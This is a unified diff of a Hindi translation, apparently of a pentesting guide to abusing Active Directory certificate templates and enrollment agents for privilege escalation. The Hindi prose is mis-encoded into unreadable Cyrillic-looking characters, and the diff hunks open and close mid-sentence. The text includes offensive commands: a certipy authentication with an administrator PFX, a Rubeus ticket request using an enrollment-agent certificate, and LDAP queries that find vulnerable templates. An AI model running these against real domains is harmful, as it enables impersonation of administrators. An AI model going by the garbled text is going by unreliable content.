рдЬрдм рдПрдХ рдореМрдЬреВрджрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ (рдЬреИрд╕реЗ `WebServer` рдЯреЗрдореНрдкрд▓реЗрдЯ, рдЬрд┐рд╕рдореЗрдВ `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` рд╕рдХреНрд╖рдо рд╣реИ) рдХреЛ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг OID рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред ### Abuse @@ -49,7 +49,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo ``` Windows рдмрд╛рдЗрдирд░реА "Certreq.exe" рдФрд░ "Certutil.exe" рдХрд╛ рдЙрдкрдпреЛрдЧ PFX рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -AD рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреА рдЧрдгрдирд╛, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡реЗ рдЬреЛ рдЕрдиреБрдореЛрджрди рдпрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд░рдЦрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ Client Authentication рдпрд╛ Smart Card Logon EKU рд╣реИ, рдФрд░ рдЬрд┐рдирдореЗрдВ `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` рдзреНрд╡рдЬ рд╕рдХреНрд╖рдо рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд LDAP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдХрд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ: +AD рдлрд╝реЙрд░реЗрд╕реНрдЯ рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ рднреАрддрд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреА рдЧрдгрдирд╛, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╡реЗ рдЬреЛ рдЕрдиреБрдореЛрджрди рдпрд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд░рдЦрддреЗ рд╣реИрдВ, рдЬрд┐рдирдореЗрдВ Client Authentication рдпрд╛ Smart Card Logon EKU рд╣реИ, рдФрд░ рдЬрд┐рдирдореЗрдВ `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` рдзреНрд╡рдЬ рд╕рдХреНрд╖рдо рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд LDAP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдХрд░ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -65,13 +65,13 @@ AD рдлреЙрд░реЗрд╕реНрдЯ рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХ 4. рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдкрд░ рдПрдХ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛ рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред 5. **рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ Any Purpose EKU рдпрд╛ рдХреЛрдИ EKU рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред** -**Any Purpose EKU** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ **рдХрд┐рд╕реА рднреА рдЙрджреНрджреЗрд╢реНрдп** рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдХреЛрдб рд╕рд╛рдЗрдирд┐рдВрдЧ, рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред **ESC3 рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рддрдХрдиреАрдХ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +**Any Purpose EKU** рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ **рдХрд┐рд╕реА рднреА рдЙрджреНрджреЗрд╢реНрдп** рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдХреЛрдб рд╕рд╛рдЗрдирд┐рдВрдЧ, рдЖрджрд┐ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдЗрд╕реА **рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ ESC3 рдХреЗ рд▓рд┐рдП** рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -**рдХреЛрдИ EKUs** рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░, рдЬреЛ рдЕрдзреАрдирд╕реНрде CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, рдХреЛ **рдХрд┐рд╕реА рднреА рдЙрджреНрджреЗрд╢реНрдп** рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ **рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ**ред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЕрдзреАрдирд╕реНрде CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдореЗрдВ рдордирдорд╛рдиреЗ EKUs рдпрд╛ рдлрд╝реАрд▓реНрдб рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +**рдХреЛрдИ EKUs** рдирд╣реАрдВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░, рдЬреЛ рдЕрдзреАрдирд╕реНрде CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддреЗ рд╣реИрдВ, **рдХрд┐рд╕реА рднреА рдЙрджреНрджреЗрд╢реНрдп** рдХреЗ рд▓рд┐рдП рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЗрд╕рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЕрдзреАрдирд╕реНрде CA рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдореЗрдВ рдордирдорд╛рдиреЗ EKUs рдпрд╛ рдлрд╝реАрд▓реНрдб рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рд╣рд╛рд▓рд╛рдВрдХрд┐, **рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЧрдП рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдпрджрд┐ рдЕрдзреАрдирд╕реНрде CA рдХреЛ **`NTAuthCertificates`** рдСрдмреНрдЬреЗрдХреНрдЯ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИред рдлрд┐рд░ рднреА, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рдХрд┐рд╕реА рднреА EKU** рдФрд░ рдордирдорд╛рдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде **рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░** рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ **рдХрдИ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ** (рдЬреИрд╕реЗ, рдХреЛрдб рд╕рд╛рдЗрдирд┐рдВрдЧ, рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдЖрджрд┐) рдХреЗ рд▓рд┐рдП **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдЬреИрд╕реЗ SAML, AD FS, рдпрд╛ IPSec рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд░рднрд╛рд╡ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред +рд╣рд╛рд▓рд╛рдВрдХрд┐, **рдбреЛрдореЗрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЗ рд▓рд┐рдП рдмрдирд╛рдП рдЧрдП рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдпрджрд┐ рдЕрдзреАрдирд╕реНрде CA **`NTAuthCertificates`** рдСрдмреНрдЬреЗрдХреНрдЯ рджреНрд╡рд╛рд░рд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдирд╣реАрдВ рд╣реИ, рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрдЯрд┐рдВрдЧ рд╣реИред рдлрд┐рд░ рднреА, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ **рдХрд┐рд╕реА рднреА EKU** рдФрд░ рдордирдорд╛рдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде **рдирдП рдкреНрд░рдорд╛рдгрдкрддреНрд░** рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ **рдХрдИ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ** (рдЬреИрд╕реЗ, рдХреЛрдб рд╕рд╛рдЗрдирд┐рдВрдЧ, рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдЖрджрд┐) рдХреЗ рд▓рд┐рдП **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдЬреИрд╕реЗ SAML, AD FS, рдпрд╛ IPSec рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд░рднрд╛рд╡ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред -AD Forest рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ рднреАрддрд░ рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд LDAP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: +AD Forest рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ рднреАрддрд░ рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрди LDAP рдХреНрд╡реЗрд░реА рдЪрд▓рд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` @@ -83,14 +83,14 @@ AD Forest рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╕реНрдХреАрдорд╛ рдХреЗ **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), рдЬрд┐рд╕реЗ Microsoft рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ **Enrollment Agent** рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдПрдХ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдХреЛ **рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреА рдУрд░ рд╕реЗ **рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ** рдХреЗ рд▓рд┐рдП **рдирд╛рдорд╛рдВрдХрд┐рдд** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -**тАЬenrollment agentтАЭ** рдПрдХ рдРрд╕реЗ **рдЯреЗрдореНрдкрд▓реЗрдЯ** рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд **рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреА рдУрд░ рд╕реЗ рдПрдХ CSR рдХреЛ рд╕рд╣-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░ рдпрд╣ **рд╕рд╣-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд CSR** рдХреЛ CA рдХреЛ **рднреЗрдЬрддрд╛** рд╣реИ, рдПрдХ **рдЯреЗрдореНрдкрд▓реЗрдЯ** рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ **тАЬрдХреА рдУрд░ рд╕реЗ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИтАЭ**, рдФрд░ CA **тАЬрджреВрд╕рд░реЗтАЭ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ **рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ** рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИред +**тАЬenrollment agentтАЭ** рдПрдХ рдРрд╕реЗ **рдЯреЗрдореНрдкрд▓реЗрдЯ** рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд **рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдУрд░ рд╕реЗ CSR рдХреЛ рд╕рд╣-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░ рдпрд╣ **рд╕рд╣-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд CSR** рдХреЛ CA рдХреЛ **рднреЗрдЬрддрд╛** рд╣реИ, рдПрдХ **рдЯреЗрдореНрдкрд▓реЗрдЯ** рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ **тАЬрдХреА рдУрд░ рд╕реЗ рдирд╛рдорд╛рдВрдХрд┐рдд рдХрд░реЗрдВтАЭ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдФрд░ CA **тАЬрджреВрд╕рд░реЗтАЭ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ **рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ** рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд░рддрд╛ рд╣реИред **Requirements 1:** - Enterprise CA рджреНрд╡рд╛рд░рд╛ рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред - рдкреНрд░рдмрдВрдзрдХ рдЕрдиреБрдореЛрджрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред - рдЕрдзрд┐рдХреГрдд рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреА рдХреЛрдИ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред -- рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрдирдХрд░реНрддрд╛ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ, рдЬреЛ рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +- рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХрд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╡рд░реНрдгрди excessively permissive рд╣реИ, рдЬреЛ рдирд┐рдореНрди-privileged рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдирд╛рдорд╛рдВрдХрди рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред - рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ Certificate Request Agent EKU рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдЕрдиреНрдп рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓реЛрдВ рдХреА рдУрд░ рд╕реЗ рдЕрдиреНрдп рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред **Requirements 2:** @@ -119,7 +119,7 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password ``` **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдЬрд┐рдиреНрд╣реЗрдВ **рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯ рдкреНрд░рдорд╛рдгрдкрддреНрд░** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдЙрди рдЯреЗрдореНрдкрд▓реЗрдЯреНрд╕ рдореЗрдВ рдЬрд┐рдирдореЗрдВ рдирд╛рдорд╛рдВрдХрди **рдПрдЬреЗрдВрдЯ** рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рдФрд░ **рдЦрд╛рддреЗ** рдЬрд┐рдирдХреЗ behalf рдкрд░ рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдХреЛ рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ CA рджреНрд╡рд╛рд░рд╛ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ `certsrc.msc` **рд╕реНрдиреИрдк-рдЗрди** рдХреЛ рдЦреЛрд▓рдХрд░, **CA рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ** рдХрд░рдХреЗ, **рдЧреБрдг** рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ, рдФрд░ рдлрд┐рд░ тАЬEnrollment AgentsтАЭ рдЯреИрдм рдкрд░ **рдиреЗрд╡рд┐рдЧреЗрдЯ** рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдиреЛрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ CA рдХреЗ рд▓рд┐рдП **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд╕реЗрдЯрд┐рдВрдЧ тАЬ**рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рди рдХрд░реЗрдВ**тАЭ рд╣реИред рдЬрдм рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ тАЬRestrict enrollment agentsтАЭ рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рд╡рд╛рд▓рд╛ рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред рдпрд╣ **рд╕рднреА** рдХреЛ рдХрд┐рд╕реА рднреА рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдирд╛рдорд╛рдВрдХрд┐рдд рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ noted рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ CA рдХреЗ рд▓рд┐рдП **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд╕реЗрдЯрд┐рдВрдЧ тАЬ**рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рди рдХрд░реЗрдВ**тАЭ рд╣реИред рдЬрдм рдирд╛рдорд╛рдВрдХрди рдПрдЬреЗрдВрдЯреЛрдВ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ тАЬRestrict enrollment agentsтАЭ рдкрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ 